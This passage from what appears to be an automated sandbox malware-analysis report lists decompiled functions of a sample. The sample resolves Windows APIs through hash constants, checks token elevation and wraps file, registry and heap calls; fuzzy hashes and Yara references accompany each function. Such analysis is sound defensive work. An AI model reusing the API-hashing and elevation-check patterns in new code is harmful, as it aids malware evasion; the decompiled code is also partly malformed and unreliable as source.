				} else {
					__edi[2] = 2;
					_t12 = 0;
					L14:
					return _t12;
				}
			}

0x70aa5b51
0x70aa5b53
0x70aa5b6a
0x70aa5b75
0x70aa5b7e
0x70aa5b84
0x70aa5b85
0x70aa5b77
0x70aa5b79
0x70aa5b79
0x70aa5b9b
0x70aa5baf
0x70aa5b9d
0x70aa5baa
0x70aa5bac
0x70aa5bac
0x70aa5bb1
0x70aa5bb6
0x70aa5bc4
0x70aa5c2f
0x70aa5c32
0x00000000
0x70aa5bc6
0x70aa5bcb
0x70aa5c18
0x70aa5c1c
0x70aa5c26
0x70aa5c26
0x70aa5c1c
0x70aa5bcd
0x70aa5bd9
0x70aa5bde
0x70aa5beb
0x70aa5bf2
0x70aa5bfe
0x00000000
0x70aa5bf4
0x70aa5bf4
0x70aa5bf5
0x70aa5bf6
0x70aa5bf8
0x70aa5bfa
0x70aa5bfb
0x70aa5bfb
0x70aa5bf2
0x70aa5b55
0x70aa5b55
0x70aa5b5c
0x70aa5bff
0x70aa5c06
0x70aa5c06

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 70AA5BAA

Memory Dump Source

Source File: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, Offset: 70A90000, based on PE: true

Associated: 00000003.00000002.488339229.0000000070A90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488396967.0000000070AAA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488417212.0000000070AAD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.488424933.0000000070AAF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 26c16dd84db9d2095020c93a0a859f32a102ea0508fef39e3b0ec55714086586
Instruction ID: 28e6d5370114dfff773b1931ee746e2807673fe8f4c40176534c5b1d90f044db
Opcode Fuzzy Hash: 26c16dd84db9d2095020c93a0a859f32a102ea0508fef39e3b0ec55714086586
Instruction Fuzzy Hash: AF01F9B5380307BEEF111A309D82F3FB76DDB85151F104869F942670DDEF6298288279

Uniqueness

Uniqueness Score: -1.00%

Function 70AA5B29, Relevance: 1.6, APIs: 1, Instructions: 57
fileCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E70AA5B29(void* __ebx, void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t7;
				void* _t12;
				void* _t15;
				void* _t20;
				void* _t22;
				long _t23;
				WCHAR** _t24;
				void* _t31;
				intOrPtr* _t33;
				WCHAR** _t34;
				void* _t38;
				long _t39;
				void* _t41;
				void* _t42;

				_t34 = __edi;
				_t31 = 5;
				_t38 = 2;
				_t39 =  !=  ? _t31 : _t38;
				if(__ebx != 2) {
					_t7 = 3;
					_t22 = 0;
					_t23 =  ==  ? _t7 : _t22;
				} else {
					_t23 = 1;
				}
				if(E70AA2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t20 = CreateFileW( *_t34, 0xc0000000, _t23, 0, _t39, _a44, 0); // executed
					_push(_t20);
				}
				_t24 =  &(_t34[3]);
				E70A9C328(_t24);
				if(E70A9C33C(_t24) != 0) {
					_t34[2] = E70AA352C(0xc0000000);
					_t12 = 0;
					goto L12;
				} else {
					if( *((intOrPtr*)(_t42 + 0x24)) == 2) {
						_t33 = E70AA2F8C(0x4bcc7cba, 0xceed09cc);
						if(_t33 != 0) {
							 *_t33( *_t24, 0, 0, 2);
						}
					}
					_t41 = _t42 + 8;
					E70AA35D4(_t41, 0xff, 8);
					_t42 = _t42 + 0xc;
					_t15 = E70AA2F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t15 == 0) {
						_t12 = 1;
						L12:
						return _t12;
					} else {
						_push(_t41);
						_push(_t41);
						_push(0);
						_push( *_t24);
						asm("int3");
						return _t15;
					}
				}
			}

0x70aa5b29
0x70aa5b2d
0x70aa5b30
0x70aa5b33
0x70aa5b75
0x70aa5b7e
0x70aa5b84
0x70aa5b85
0x70aa5b77
0x70aa5b79
0x70aa5b79
0x70aa5b9b
0x70aa5baf
0x70aa5b9d
0x70aa5baa
0x70aa5bac
0x70aa5bac
0x70aa5bb1
0x70aa5bb6
0x70aa5bc4
0x70aa5c2f
0x70aa5c32
0x00000000
0x70aa5bc6
0x70aa5bcb
0x70aa5c18
0x70aa5c1c
0x70aa5c26
0x70aa5c26
0x70aa5c1c
0x70aa5bcd
0x70aa5bd9
0x70aa5bde
0x70aa5beb
0x70aa5bf2
0x70aa5bfe
0x70aa5bff
0x70aa5c06
0x70aa5bf4
0x70aa5bf4
0x70aa5bf5
0x70aa5bf6
0x70aa5bf8
0x70aa5bfa
0x70aa5bfb
0x70aa5bfb
0x70aa5bf2

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 70AA5BAA

Memory Dump Source

Source File: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, Offset: 70A90000, based on PE: true

Associated: 00000003.00000002.488339229.0000000070A90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488396967.0000000070AAA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488417212.0000000070AAD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.488424933.0000000070AAF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0fa86986c89fdfff574c3ac8d82252a53ce624ce43e07f87df1cda0750746311
Instruction ID: 95c3782206f7a9ef3246df2f2890c9fdb02d3cf22aa9c000904638d5e0c1aae8
Opcode Fuzzy Hash: 0fa86986c89fdfff574c3ac8d82252a53ce624ce43e07f87df1cda0750746311
Instruction Fuzzy Hash: 610184B1380306BEEF1116608D42F3F76ADDB86655F114869B942670DDEF519C148139

Uniqueness

Uniqueness Score: -1.00%

Function 70AA5B3D, Relevance: 1.6, APIs: 1, Instructions: 56
fileCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E70AA5B3D(void* __ebx, void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t7;
				void* _t12;
				void* _t15;
				void* _t20;
				void* _t22;
				long _t23;
				WCHAR** _t24;
				intOrPtr* _t33;
				WCHAR** _t34;
				long _t38;
				void* _t40;
				void* _t41;

				_t34 = __edi;
				_t38 = 2;
				asm("adc ebp, 0x0");
				if(__ebx != 2) {
					_t7 = 3;
					_t22 = 0;
					_t23 =  ==  ? _t7 : _t22;
				} else {
					_t23 = 1;
				}
				if(E70AA2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t20 = CreateFileW( *_t34, 0xc0000000, _t23, 0, _t38, _a44, 0); // executed
					_push(_t20);
				}
				_t24 =  &(_t34[3]);
				E70A9C328(_t24);
				if(E70A9C33C(_t24) != 0) {
					_t34[2] = E70AA352C(0xc0000000);
					_t12 = 0;
					goto L12;
				} else {
					if( *((intOrPtr*)(_t41 + 0x24)) == 2) {
						_t33 = E70AA2F8C(0x4bcc7cba, 0xceed09cc);
						if(_t33 != 0) {
							 *_t33( *_t24, 0, 0, 2);
						}
					}
					_t40 = _t41 + 8;
					E70AA35D4(_t40, 0xff, 8);
					_t41 = _t41 + 0xc;
					_t15 = E70AA2F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t15 == 0) {
						_t12 = 1;
						L12:
						return _t12;
					} else {
						_push(_t40);
						_push(_t40);
						_push(0);
						_push( *_t24);
						asm("int3");
						return _t15;
					}
				}
			}

0x70aa5b3d
0x70aa5b44
0x70aa5b47
0x70aa5b75
0x70aa5b7e
0x70aa5b84
0x70aa5b85
0x70aa5b77
0x70aa5b79
0x70aa5b79
0x70aa5b9b
0x70aa5baf
0x70aa5b9d
0x70aa5baa
0x70aa5bac
0x70aa5bac
0x70aa5bb1
0x70aa5bb6
0x70aa5bc4
0x70aa5c2f
0x70aa5c32
0x00000000
0x70aa5bc6
0x70aa5bcb
0x70aa5c18
0x70aa5c1c
0x70aa5c26
0x70aa5c26
0x70aa5c1c
0x70aa5bcd
0x70aa5bd9
0x70aa5bde
0x70aa5beb
0x70aa5bf2
0x70aa5bfe
0x70aa5bff
0x70aa5c06
0x70aa5bf4
0x70aa5bf4
0x70aa5bf5
0x70aa5bf6
0x70aa5bf8
0x70aa5bfa
0x70aa5bfb
0x70aa5bfb
0x70aa5bf2

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 70AA5BAA

Memory Dump Source

Source File: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, Offset: 70A90000, based on PE: true

Associated: 00000003.00000002.488339229.0000000070A90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488396967.0000000070AAA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488417212.0000000070AAD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.488424933.0000000070AAF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5b8d02cd4674f4ed770eb1c7c80a412027ed08d7cd8f65890b2514b95d1dd015
Instruction ID: 67993d8d91cf691a330211320ee71950d33adc413c9782fdd7122e3615dffdee
Opcode Fuzzy Hash: 5b8d02cd4674f4ed770eb1c7c80a412027ed08d7cd8f65890b2514b95d1dd015
Instruction Fuzzy Hash: 0701DBB57403077EEF1156318D82F3F76AEDB86155F104869B942670DEFF619C188235

Uniqueness

Uniqueness Score: -1.00%

Function 70AA5B1F, Relevance: 1.6, APIs: 1, Instructions: 52
fileCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E70AA5B1F(void* __ebx, void* __ecx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t6;
				void* _t11;
				void* _t14;
				void* _t19;
				void* _t21;
				long _t22;
				WCHAR** _t23;
				intOrPtr* _t30;
				WCHAR** _t31;
				long _t35;
				void* _t37;
				void* _t38;

				_t31 = __edi;
				_t35 = 3;
				if(__ebx != 2) {
					_t6 = 3;
					_t21 = 0;
					_t22 =  ==  ? _t6 : _t21;
				} else {
					_t22 = 1;
				}
				if(E70AA2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t19 = CreateFileW( *_t31, 0x100, _t22, 0, _t35, _a44, 0); // executed
					_push(_t19);
				}
				_t23 =  &(_t31[3]);
				E70A9C328(_t23);
				if(E70A9C33C(_t23) != 0) {
					_t31[2] = E70AA352C(0x100);
					_t11 = 0;
					goto L12;
				} else {
					if( *((intOrPtr*)(_t38 + 0x24)) == 2) {
						_t30 = E70AA2F8C(0x4bcc7cba, 0xceed09cc);
						if(_t30 != 0) {
							 *_t30( *_t23, 0, 0, 2);
						}
					}
					_t37 = _t38 + 8;
					E70AA35D4(_t37, 0xff, 8);
					_t38 = _t38 + 0xc;
					_t14 = E70AA2F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t14 == 0) {
						_t11 = 1;
						L12:
						return _t11;
					} else {
						_push(_t37);
						_push(_t37);
						_push(0);
						_push( *_t23);
						asm("int3");
						return _t14;
					}
				}
			}

0x70aa5b1f
0x70aa5b26
0x70aa5b75
0x70aa5b7e
0x70aa5b84
0x70aa5b85
0x70aa5b77
0x70aa5b79
0x70aa5b79
0x70aa5b9b
0x70aa5baf
0x70aa5b9d
0x70aa5baa
0x70aa5bac
0x70aa5bac
0x70aa5bb1
0x70aa5bb6
0x70aa5bc4
0x70aa5c2f
0x70aa5c32
0x00000000
0x70aa5bc6
0x70aa5bcb
0x70aa5c18
0x70aa5c1c
0x70aa5c26
0x70aa5c26
0x70aa5c1c
0x70aa5bcd
0x70aa5bd9
0x70aa5bde
0x70aa5beb
0x70aa5bf2
0x70aa5bfe
0x70aa5bff
0x70aa5c06
0x70aa5bf4
0x70aa5bf4
0x70aa5bf5
0x70aa5bf6
0x70aa5bf8
0x70aa5bfa
0x70aa5bfb
0x70aa5bfb
0x70aa5bf2

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 70AA5BAA

Memory Dump Source

Source File: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, Offset: 70A90000, based on PE: true

Associated: 00000003.00000002.488339229.0000000070A90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488396967.0000000070AAA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488417212.0000000070AAD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.488424933.0000000070AAF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c230670b004b2ad28e76934f353d99ed69517ec83133175e69b5ed079cd00cba
Instruction ID: 03bfee946a085128f1806ef2efc9992fc92d5e491a4dbe93652fd1882fc9ba85
Opcode Fuzzy Hash: c230670b004b2ad28e76934f353d99ed69517ec83133175e69b5ed079cd00cba
Instruction Fuzzy Hash: 0401A9B1780307BEEF115A308D42F3F76ADDB86655F104869B942670DDEF51A9148239

Uniqueness

Uniqueness Score: -1.00%

Function 70AA5B6D, Relevance: 1.6, APIs: 1, Instructions: 51
fileCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E70AA5B6D(void* __ebx, void* __ecx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t6;
				void* _t11;
				void* _t14;
				void* _t19;
				void* _t21;
				long _t22;
				WCHAR** _t23;
				intOrPtr* _t30;
				WCHAR** _t31;
				long _t35;
				void* _t37;
				void* _t38;

				_t31 = __edi;
				_t35 = 3;
				if(__ebx != 2) {
					_t6 = 3;
					_t21 = 0;
					_t22 =  ==  ? _t6 : _t21;
				} else {
					_t22 = 1;
				}
				if(E70AA2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t19 = CreateFileW( *_t31, 0, _t22, 0, _t35, _a44, 0); // executed
					_push(_t19);
				}
				_t23 =  &(_t31[3]);
				E70A9C328(_t23);
				if(E70A9C33C(_t23) != 0) {
					_t31[2] = E70AA352C(0);
					_t11 = 0;
					goto L12;
				} else {
					if( *((intOrPtr*)(_t38 + 0x24)) == 2) {
						_t30 = E70AA2F8C(0x4bcc7cba, 0xceed09cc);
						if(_t30 != 0) {
							 *_t30( *_t23, 0, 0, 2);
						}
					}
					_t37 = _t38 + 8;
					E70AA35D4(_t37, 0xff, 8);
					_t38 = _t38 + 0xc;
					_t14 = E70AA2F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t14 == 0) {
						_t11 = 1;
						L12:
						return _t11;
					} else {
						_push(_t37);
						_push(_t37);
						_push(0);
						_push( *_t23);
						asm("int3");
						return _t14;
					}
				}
			}

0x70aa5b6d
0x70aa5b71
0x70aa5b75
0x70aa5b7e
0x70aa5b84
0x70aa5b85
0x70aa5b77
0x70aa5b79
0x70aa5b79
0x70aa5b9b
0x70aa5baf
0x70aa5b9d
0x70aa5baa
0x70aa5bac
0x70aa5bac
0x70aa5bb1
0x70aa5bb6
0x70aa5bc4
0x70aa5c2f
0x70aa5c32
0x00000000
0x70aa5bc6
0x70aa5bcb
0x70aa5c18
0x70aa5c1c
0x70aa5c26
0x70aa5c26
0x70aa5c1c
0x70aa5bcd
0x70aa5bd9
0x70aa5bde
0x70aa5beb
0x70aa5bf2
0x70aa5bfe
0x70aa5bff
0x70aa5c06
0x70aa5bf4
0x70aa5bf4
0x70aa5bf5
0x70aa5bf6
0x70aa5bf8
0x70aa5bfa
0x70aa5bfb
0x70aa5bfb
0x70aa5bf2

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 70AA5BAA

Memory Dump Source

Source File: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, Offset: 70A90000, based on PE: true

Associated: 00000003.00000002.488339229.0000000070A90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488396967.0000000070AAA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488417212.0000000070AAD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.488424933.0000000070AAF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f41fd778113157c199e1483cbf3e3356fcc1afe5b5c32d8304a410e71b511c74
Instruction ID: 9e979620d4444e24e768ad91122cabdc72ca7a6a84b27b6dbaf783cb434d1249
Opcode Fuzzy Hash: f41fd778113157c199e1483cbf3e3356fcc1afe5b5c32d8304a410e71b511c74
Instruction Fuzzy Hash: F9F0F9B13803077EDF1116308D42F3F766DDB86551F104868B942670DDEF51A8148235

Uniqueness

Uniqueness Score: -1.00%

Function 70AA5D7C, Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E70AA5D7C(void* __ecx, intOrPtr _a4) {
				long _v16;
				long _t4;
				void* _t8;
				void** _t9;
				intOrPtr _t17;
				long* _t18;

				_push(_t16);
				_t8 = __ecx;
				_t17 = _a4;
				if(_t17 != 0) {
					asm("pxor xmm0, xmm0");
					asm("movq [esi], xmm0");
				}
				_t9 = _t8 + 0xc;
				if(E70A9C33C(_t9) != 0) {
					L7:
					_t4 = 0;
					goto L10;
				} else {
					asm("stosd");
					asm("stosd");
					if(E70AA2F8C(0x4bcc7cba, 0xceed09cc) == 0) {
						_t4 = 0;
					} else {
						_t4 = SetFilePointer( *_t9, 0,  &_v16, 1); // executed
					}
					if(_t4 != 0xffffffff) {
						if(_t17 != 0) {
							 *_t18 = _t4;
							asm("movq xmm0, [esp]");
							asm("movq [esi], xmm0");
						}
						L10:
						return _t4;
					} else {
						goto L7;
					}
				}
			}

0x70aa5d80
0x70aa5d81
0x70aa5d83
0x70aa5d89
0x70aa5d8b
0x70aa5d8f
0x70aa5d8f
0x70aa5d93
0x70aa5d9f
0x70aa5dd3
0x70aa5dd3
0x00000000
0x70aa5da1
0x70aa5da6
0x70aa5da7
0x70aa5dbb
0x70aa5dcc
0x70aa5dbd
0x70aa5dc8
0x70aa5dc8
0x70aa5dd1
0x70aa5dd9
0x70aa5ddb
0x70aa5dde
0x70aa5de3
0x70aa5de3
0x70aa5de7
0x70aa5dec
0x00000000
0x00000000
0x00000000
0x70aa5dd1

APIs

SetFilePointer.KERNELBASE(?,00000000,?,00000001,CEED09CC,?,?,00000000,00000000,?,70AA5CB4,?,?), ref: 70AA5DC8

Memory Dump Source

Source File: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, Offset: 70A90000, based on PE: true

Associated: 00000003.00000002.488339229.0000000070A90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488396967.0000000070AAA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488417212.0000000070AAD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.488424933.0000000070AAF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 7634ac0c9d3648873fd736d4ea4b19d370915cdf3bd7e6405098399fd11748dd
Instruction ID: 652a0739d53623c5acae1adbbabab751fa8176ed9ad2d48662f7ac682b5d37bb
Opcode Fuzzy Hash: 7634ac0c9d3648873fd736d4ea4b19d370915cdf3bd7e6405098399fd11748dd
Instruction Fuzzy Hash: 89F07D72A057116DDB129A389C44B9FB3F5DFD5310F304B2EF581A71CCE7209C404698

Uniqueness

Uniqueness Score: -1.00%

Function 70AA10CC, Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E70AA10CC(void* __ecx) {
				void* _v36;
				void* _v44;
				int _t15;
				intOrPtr* _t21;
				void* _t24;
				intOrPtr* _t25;

				_t24 = __ecx;
				 *_t25 = 0;
				_t21 = E70AA2F94(0xd0443458, 0xd8ece5ad, 0xd0443458, 0xd0443458);
				if(_t21 == 0) {
					L5:
					return 0;
				}
				_push(_t25);
				_push(8);
				_push(_t24);
				if( *_t21() == 0 || E70AA2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458) == 0) {
					goto L5;
				} else {
					_t2 = _t25 + 8 - 4; // 0xd0443454
					_t15 = GetTokenInformation( *(_t25 + 0x10), 0x14, _t2, 4, _t25 + 8); // executed
					if(_t15 == 0) {
						goto L5;
					}
					return 0 |  *((intOrPtr*)(_t25 + 4)) != 0x00000000;
				}
			}

0x70aa10da
0x70aa10dc
0x70aa10ea
0x70aa10ee
0x70aa1137
0x00000000
0x70aa1137
0x70aa10f3
0x70aa10f4
0x70aa10f6
0x70aa10fb
0x00000000
0x70aa1114
0x70aa1118
0x70aa1125
0x70aa1129
0x00000000
0x00000000
0x00000000
0x70aa1132

APIs

GetTokenInformation.KERNELBASE(00000004,00000014,D0443454,00000004,D0443458,D0443458,D0443458), ref: 70AA1125

Memory Dump Source

Source File: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, Offset: 70A90000, based on PE: true

Associated: 00000003.00000002.488339229.0000000070A90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488396967.0000000070AAA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488417212.0000000070AAD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.488424933.0000000070AAF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: ad9c72b20c447e21fde483402609026f9e34a91fec1d63206d321a76ac7e48c5
Instruction ID: e24d74372970c7d9af8b116efe1829ee33cb09b2d5e06c52586d01756248f1bc
Opcode Fuzzy Hash: ad9c72b20c447e21fde483402609026f9e34a91fec1d63206d321a76ac7e48c5
Instruction Fuzzy Hash: 56F0A9B47042467FFB4495288D05F7F22EE5BC5600F10C82CBA82DB2DCEA78C8158321

Uniqueness

Uniqueness Score: -1.00%

Function 70AA55B8, Relevance: 1.5, APIs: 1, Instructions: 45
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E70AA55B8(void* __ecx) {
				long _t9;
				char* _t11;
				void* _t16;
				int _t17;
				int _t18;
				int* _t19;

				_t18 = 0;
				_t17 = _t19[0x48];
				_t16 = __ecx;
				_t11 =  &(_t19[1]);
				 *_t17 = 0;
				 *((intOrPtr*)(_t17 + 4)) = 0;
				 *((intOrPtr*)(_t17 + 8)) = 0;
				while(1) {
					 *_t19 = 0x105;
					if(E70AA2F8C(0xd0443458, 0x286b2253) == 0) {
						goto L4;
					}
					_t9 = RegEnumValueA( *(_t16 + 4), _t18, _t11, _t19, 0, 0, 0, 0); // executed
					if(_t9 == 0) {
						goto L4;
					}
					return _t17;
					L4:
					E70A9E6E8(_t17, _t11,  *_t17);
					_t18 = _t18 + 1;
				}
			}

0x70aa55c2
0x70aa55c4
0x70aa55cb
0x70aa55cd
0x70aa55d1
0x70aa55d3
0x70aa55d6
0x70aa55d9
0x70aa55d9
0x70aa55f3
0x00000000
0x00000000
0x70aa5604
0x70aa5608
0x00000000
0x00000000
0x70aa5616
0x70aa5619
0x70aa561e
0x70aa5623
0x70aa5623

APIs

RegEnumValueA.KERNELBASE(?,00000001,?,00000000,00000000,00000000,00000000,00000000,D0443458,286B2253,?,?,D0443458,286B2253), ref: 70AA5604

Memory Dump Source

Source File: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, Offset: 70A90000, based on PE: true

Associated: 00000003.00000002.488339229.0000000070A90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488396967.0000000070AAA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488417212.0000000070AAD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.488424933.0000000070AAF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: EnumValue
String ID:
API String ID: 2814608202-0
Opcode ID: 32541c393d7cf9c9ac655dde4adff585132c35c09fbad7829b6a85831b260ca8
Instruction ID: 1ad787405c8bdaaa3a0bc028e97493abf848167385854c7312ceef906043938d
Opcode Fuzzy Hash: 32541c393d7cf9c9ac655dde4adff585132c35c09fbad7829b6a85831b260ca8
Instruction Fuzzy Hash: 17F0AFF66042096EE7259E2ADC44CBBBBEDEBC4B14F00841EB1D643244DA30AC208AA4

Uniqueness

Uniqueness Score: -1.00%

Function 70AA5DF0, Relevance: 1.5, APIs: 1, Instructions: 45
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E70AA5DF0(void* __ecx, void* __eflags, void* _a4, long _a8) {
				long _v12;
				void* __esi;
				long _t9;
				long _t10;
				int _t12;
				void* _t18;
				void** _t19;
				DWORD* _t20;

				_t18 = __ecx;
				_t19 = __ecx + 0xc;
				if(E70A9C33C(_t19) == 0) {
					_v12 = _a8;
					if(E70AA2F8C(0x4bcc7cba, 0x2876e068) == 0) {
						_t9 = 0x7f;
					} else {
						_t12 = ReadFile( *_t19, _a4, _v12, _t20, 0); // executed
						if(_t12 == 0) {
							_t9 = E70AA352C(_t18);
						} else {
							_t9 = 0;
						}
					}
					 *((intOrPtr*)(_t18 + 8)) = _t9;
					if(_t9 == 0) {
						_t10 = _v12;
					} else {
						_t10 = 0;
						_v12 = 0;
					}
				} else {
					_t10 = 0;
				}
				return _t10;
			}

0x70aa5df3
0x70aa5df5
0x70aa5e01
0x70aa5e0b
0x70aa5e21
0x70aa5e40
0x70aa5e23
0x70aa5e34
0x70aa5e38
0x70aa5e58
0x70aa5e3a
0x70aa5e3a
0x70aa5e3a
0x70aa5e38
0x70aa5e41
0x70aa5e46
0x70aa5e4f
0x70aa5e48
0x70aa5e48
0x70aa5e4a
0x70aa5e4a
0x70aa5e03
0x70aa5e03
0x70aa5e03
0x70aa5e55

APIs

ReadFile.KERNELBASE(?,?,00000000,00000000,00000000,4BCC7CBA,2876E068,?,?,?,70AA5CE5,00000000,?,00000000,?), ref: 70AA5E34

Memory Dump Source

Source File: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, Offset: 70A90000, based on PE: true

Associated: 00000003.00000002.488339229.0000000070A90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488396967.0000000070AAA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488417212.0000000070AAD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.488424933.0000000070AAF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 6762ad9e688c98861c5b697065b5bdf6121a2abcf83bb2bb4119fe35680c4d3b
Instruction ID: b9cd5ce2421cfe4db37229071c247c40386c4f745021a0e16fce15c4393ee95e
Opcode Fuzzy Hash: 6762ad9e688c98861c5b697065b5bdf6121a2abcf83bb2bb4119fe35680c4d3b
Instruction Fuzzy Hash: F6F049B1348617AEDF619B34CD40A6F77F5AF49150F10882DB89AD719CDB31DA048725

Uniqueness

Uniqueness Score: -1.00%

Function 70AA3564, Relevance: 1.5, APIs: 1, Instructions: 42
memoryCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E70AA3564(void* __ecx) {
				void* _t3;
				intOrPtr* _t8;
				void* _t12;

				_t12 = __ecx;
				if( *0x70aad228 == 0xcd845700) {
					_t8 = E70AA2F8C(0xa5eabdf8, 0xd926c223);
					 *0x70aad22c = E70AA2F8C(0xa5eabdf8, 0x9b42cb07);
					if( *0x70aad228 == 0xcd845700) {
						 *_t8(2, 0, 0, 0, 0, 0); // executed
						 *0x70aad228 = 0;
					}
				}
				_t3 = E70AA2F8C(0xa5eabdf8, 0x80febacc);
				if(_t3 == 0) {
					return 0;
				} else {
					_push(_t12);
					_push(8);
					_push( *0x70aad228);
					asm("int3");
					return _t3;
				}
			}

0x70aa356c
0x70aa3574
0x70aa35a7
0x70aa35b8
0x70aa35c3
0x70aa35ce
0x70aa35d0
0x70aa35d0
0x70aa35c3
0x70aa3580
0x70aa3587
0x70aa3597
0x70aa3589
0x70aa3589
0x70aa358a
0x70aa358c
0x70aa358e
0x70aa358f
0x70aa358f

APIs

RtlCreateHeap.NTDLL(00000002,00000000,00000000,00000000,00000000,00000000,A5EABDF8,9B42CB07,A5EABDF8,D926C223,?,?,00000000,70A9DEB9,?,?), ref: 70AA35CE

Memory Dump Source

Source File: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, Offset: 70A90000, based on PE: true

Associated: 00000003.00000002.488339229.0000000070A90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488396967.0000000070AAA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488417212.0000000070AAD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.488424933.0000000070AAF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: e703f9111e2c397b1a7f6c37a3cfd5b6d31e0d7c690ce4c5decea28e6d8cb8b2
Instruction ID: a1d90ef19747364d137433d0a2ec4ab9f8697ae86b783eb2230197b71990a9bc
Opcode Fuzzy Hash: e703f9111e2c397b1a7f6c37a3cfd5b6d31e0d7c690ce4c5decea28e6d8cb8b2
Instruction Fuzzy Hash: BEF089F3E08112BDD2111B7AAD04E7EBAECEFC8516FA08828B586BB0D8DA154850D721

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 70A99144, Relevance: 2.4, Strings: 1, Instructions: 1104
COMMONCrypto

Download Yara Rule

C-Code - Quality: 59%

			E70A99144(intOrPtr __ecx, intOrPtr __edx, void* __eflags) {
				intOrPtr _v20;
				intOrPtr _v40;
				char _v60;
				intOrPtr _v92;
				void* _v96;
				char _v100;
				char _v104;
				char _v108;
				intOrPtr _v112;
				signed int _v116;
				char _v128;
				intOrPtr _v132;
				void* _v136;
